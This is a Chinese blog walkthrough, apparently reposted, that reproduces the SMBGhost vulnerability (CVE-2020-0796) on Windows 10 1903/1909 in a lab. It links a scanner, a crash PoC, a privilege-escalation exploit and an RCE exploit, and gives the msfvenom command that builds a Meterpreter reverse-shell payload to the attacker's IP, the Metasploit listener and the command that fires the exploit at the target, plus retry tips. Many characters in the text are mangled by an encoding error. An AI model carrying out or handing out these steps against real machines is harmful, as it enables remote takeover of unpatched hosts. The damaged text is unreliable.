文章目錄

• 一、介紹
• 二、影響版本
• 三、測(cè)試環(huán)境
• 四、漏洞檢測(cè)
• • 1、腳本
  • 2、驗(yàn)證
• 五、漏洞攻擊
• • 1、藍(lán)屏攻擊
  • • （1）腳本
    • （2）驗(yàn)證
  • 2、本地提權(quán)
  • • （1）腳本
    • （2）驗(yàn)證
  • 3、遠(yuǎn)程攻擊
  • • （1）腳本
    • （2）驗(yàn)證
    • • 0x01：在kali中使用msfvenom生成反彈的shellcode
      • 0x02：將生成的exp.py中的內(nèi)容覆蓋SMBGhost_RCE_PoC-master中exploit.py的內(nèi)容
      • 覆蓋后的exploit.py中USER_PAYLOAD的內(nèi)容如下
      • 0x03：打開(kāi)msf，使用模塊本地監(jiān)聽(tīng)4444端口
      • 0x04：執(zhí)行exploit.py文件
      • 0x05：kali接收shell

一、介紹

Microsoft服務(wù)器消息塊3.1.1(SMBv3)協(xié)議處理某些請(qǐng)求的方式中存在一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞，也就是"Windows SMBv3客戶端/服務(wù)器遠(yuǎn)程代碼執(zhí)行漏洞"。

二、影響版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

三、測(cè)試環(huán)境

（1）靶機(jī)：172.16.20.162
環(huán)境：cn_windows_10_consumer_editions_version_1903_updated_sept_2019_x64_dvd_ef681fec.iso
注：使用靶機(jī)進(jìn)行測(cè)試時(shí)需要關(guān)閉靶機(jī)防火墻
（2）攻擊機(jī)：172.16.20.1/172.16.20.128
環(huán)境：Windows/Kali

四、漏洞檢測(cè)

1、腳本

https://github.com/1stPeak/CVE-2020-0796-Scanner

2、驗(yàn)證

五、漏洞攻擊

1、藍(lán)屏攻擊

（1）腳本

https://github.com/eerykitty/CVE-2020-0796-PoC
我使用的是python3版本，有些模塊需要安裝，可以使用腳本自動(dòng)安裝，如下所示

py -3 setup.py install

如果有些無(wú)法模塊安裝，就一個(gè)一個(gè)的安裝，這是我需要安裝的，你們不一定一樣

cryptography six ntlm_auth pyasn1

使用以下命令進(jìn)行安裝即可

pip3 install 模塊名

（2）驗(yàn)證

2、本地提權(quán)

（1）腳本

https://github.com/danigargu/CVE-2020-0796/releases

（2）驗(yàn)證

3、遠(yuǎn)程攻擊

（1）腳本

https://github.com/chompie1337/SMBGhost_RCE_PoC

（2）驗(yàn)證

0x01：在kali中使用msfvenom生成反彈的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.20.128 lport=4444 -f py -o exp.py

0x02：將生成的exp.py中的內(nèi)容覆蓋SMBGhost_RCE_PoC-master中exploit.py的內(nèi)容

覆蓋后的exploit.py中USER_PAYLOAD的內(nèi)容如下

0x03：打開(kāi)msf，使用模塊本地監(jiān)聽(tīng)4444端口

msf6 > use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lport 4444 set lhost 172.16.20.128 run

0x04：執(zhí)行exploit.py文件

py -3 exploit.py -ip 172.16.20.162

注意下方紅框中的xx，也可以輸入其他命令或字母，隨后kali就會(huì)接收到shell

0x05：kali接收shell

注：使用exploit.py是如果遇到報(bào)錯(cuò)，可以關(guān)閉并重新打開(kāi)kali的監(jiān)聽(tīng)，然后重新執(zhí)行該exploit.py，或者直接多次重新執(zhí)行exploit.py，不能執(zhí)行了再重新打開(kāi)監(jiān)聽(tīng)，重新執(zhí)行exploit.py，多試幾次就OK了

總結(jié)

以上是生活随笔為你收集整理的CVE-2020-0796复现（poc+exp）的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。